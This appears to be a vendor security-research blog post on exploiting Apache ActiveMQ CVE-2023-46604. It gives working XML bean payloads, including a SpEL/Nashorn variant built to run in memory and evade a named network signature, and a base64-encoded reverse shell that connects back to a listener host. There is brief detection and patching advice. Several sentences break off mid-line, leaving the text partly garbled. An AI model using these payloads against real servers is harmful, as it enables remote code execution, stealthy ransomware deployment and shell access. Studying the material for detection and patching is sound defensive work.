Key Takeaways
Introduction
Huntress Labs, Rapid7, and ArticWolf all recently published reports of threat actors exploiting ActiveMQ CVE-2023-46604 to drop ransomware onto the victim host. The attackers used CVE-2023-46604 to invoke
Public Exploits
The threat actors all appeared to have relied on the public details for this vulnerability. The exploit was originally disclosed in a Chinese-language blog by X1R0z on October 25, 2023 and then re-analyzed by Stephen Fewer of Rapid7 on November 1, 2023. They both, more or less, came up with an exploit that used ClassPathXmlApplicationContext to load an XML Bean that looks like this:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
The above XML bean causes ActiveMQ to call
The perceived restriction is that the attacker must use a bean that accepts all of its configuration through its constructor and has a function that can be invoked via the
However, none of those restrictions actually exist.
Creating a Better Exploit
The first detail worth noting is that the attacker doesn’t have to use
It’s important to note because existing network signatures (see sid:2049045) rely on
When it comes to the XML bean, we don’t actually need most of what the public exploits use. We don’t need to construct a bean or invoke a function via
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="vulncheck" class="java.lang.String">
<property name="vc" value="#{''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('Nashorn').eval('var fw = new java.io.FileWriter("/tmp/3"); fw.write("Hello VulnCheck"); fw.close();')}"/>
</bean>
</beans>
In the XML bean above, you can see that we’ve embedded a SpEL expression to invoke the Nashorn javascript engine and write a file to disk. The payload does not shell out to
That means the threat actors could have avoided dropping their tools to disk. They could have just written their encryptor in Nashorn (or loaded a class/JAR into memory) and remained memory resident. Perhaps avoiding detection from the aforementioned managed EDR teams.
However, if the attacker did do that, they’d also need to clean up the
2023-11-11 14:05:10,839 | WARN | Exception encountered during context initialization - canceling refresh attempt: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'vulncheck' defined in URL http://10.9.49.131:8080/bppkArhoWrRn: Initialization of bean failed; nested exception is org.springframework.beans.factory.BeanExpressionException: Expression parsing failed; nested exception is org.springframework.expression.ExpressionInvocationTargetException: A problem occurred when trying to execute method 'eval' on object of type jdk.nashorn.api.scripting.NashornScriptEngine | org.springframework.context.support.FileSystemXmlApplicationContext | ActiveMQ Transport: tcp:///10.9.49.131:57484@61616
Generally speaking, you never want to see Nashorn in your logs. You really don’t want to see it associated with BeanCreation. Note that the nested exception will not always include a “Nashorn` exception, so detection should occur around the remote BeanCreationException.
A Reverse Shell
The overarching objective of this blog was executing arbitrary code in memory. However, I’m informed people would be disappointed if they didn’t get a reverse shell payload. Remember, when you use this reverse shell, you are using
xml := fmt.Sprintf(`<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="vulncheck" class="java.lang.String">
<property name="file" value="#{''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('Nashorn').eval('eval(new java.lang.String(java.util.Base64.decoder.decode("%s")));')}"/>
</bean>
</beans>`, b64.StdEncoding.EncodeToString([]byte(payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, conf.C2Type == c2.SSLShellServer))))
Note that payload.ReverseShellJSSScript is from go-exploit, and automatically supports Windows and Linux targets, as well as encryption.
The whole thing looks like this on the wire:
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="vulncheck" class="java.lang.String">
<property name="file" value="#{''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('Nashorn').eval('eval(new java.lang.String(java.util.Base64.decoder.decode("dmFyIHNoZWxsID0gImJhc2giOwppZiAoamF2YS5sYW5nLlN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLmluZGV4T2YoIldpbmRvd3MiKSAhPSAtMSkgewoJc2hlbGwgPSAiY21kLmV4ZSI7Cn0KdmFyIHA9bmV3IGphdmEubGFuZy5Qcm9jZXNzQnVpbGRlcihzaGVsbCkucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBzPW5ldyBqYXZhLm5ldC5Tb2NrZXQoIjEwLjkuNDkuMTE2IiwgMTI3MCk7CnZhciBzb2NrZXRJbnB1dCA9IG5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKG5ldyBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyKHMuZ2V0SW5wdXRTdHJlYW0oKSkpOwp2YXIgc29ja2V0T3V0cHV0ID0gbmV3IGphdmEuaW8uQnVmZmVyZWRXcml0ZXIobmV3IGphdmEuaW8uT3V0cHV0U3RyZWFtV3JpdGVyKHMuZ2V0T3V0cHV0U3RyZWFtKCkpKTsKdmFyIHByb2Nlc3NJbnB1dCA9IG5ldyBqYXZhLmlvLkJ1ZmZlcmVkV3JpdGVyKG5ldyBqYXZhLmlvLk91dHB1dFN0cmVhbVdyaXRlcihwLmdldE91dHB1dFN0cmVhbSgpKSk7CnZhciBwcm9jZXNzT3V0cHV0ID0gbmV3IGphdmEuaW8uQnVmZmVyZWRSZWFkZXIobmV3IGphdmEuaW8uSW5wdXRTdHJlYW1SZWFkZXIocC5nZXRJbnB1dFN0cmVhbSgpKSk7Cgp3aGlsZSAoIXMuaXNDbG9zZWQoKSkgewoJdmFyIGRhdGEKCWlmICgoZGF0YSA9IHNvY2tldElucHV0LnJlYWRMaW5lKCkpICE9IG51bGwpIHsKCQlwcm9jZXNzSW5wdXQud3JpdGUoZGF0YSArICJcbiIpOwoJCXByb2Nlc3NJbnB1dC5mbHVzaCgpCgl9CglqYXZhLmxhbmcuVGhyZWFkLnNsZWVwKDUwKTsKCgl3aGlsZSAocHJvY2Vzc091dHB1dC5yZWFkeSgpICYmIChkYXRhID0gcHJvY2Vzc091dHB1dC5yZWFkKCkpID4gMCkgewoJCQlzb2NrZXRPdXRwdXQud3JpdGUoZGF0YSk7Cgl9Cglzb2NrZXRPdXRwdXQuZmx1c2goKQoJdHJ5IHsKCQlwLmV4aXRWYWx1ZSgpOwoJCWJyZWFrOwoJfSBjYXRjaCAoZSkgewoJfQp9CgpwLmRlc3Ryb3koKTsKcy5jbG9zZSgpOw==")));')}"/>
</bean>
</beans>
Conclusion
There are currently more than ten thousand of internet-facing ActiveMQ servers, and multiple organizations have reported ransomware attacks. Now that we know attackers can execute stealthy attacks using CVE-2023-46604, it’s become even more important to patch your ActiveMQ servers and, ideally, remove them from the internet entirely.
About VulnCheck
The VulnCheck Initial Access team is always looking to advance the state of attack on initial access vulnerabilities like CVE-2023-46604. For more research like this, see our blogs, PaperCut Exploitation and Fileless Remote Code Execution on Juniper Firewalls . Sign up to start a trial of our Initial Access Intelligence and Exploit & Vulnerability Intelligence product today.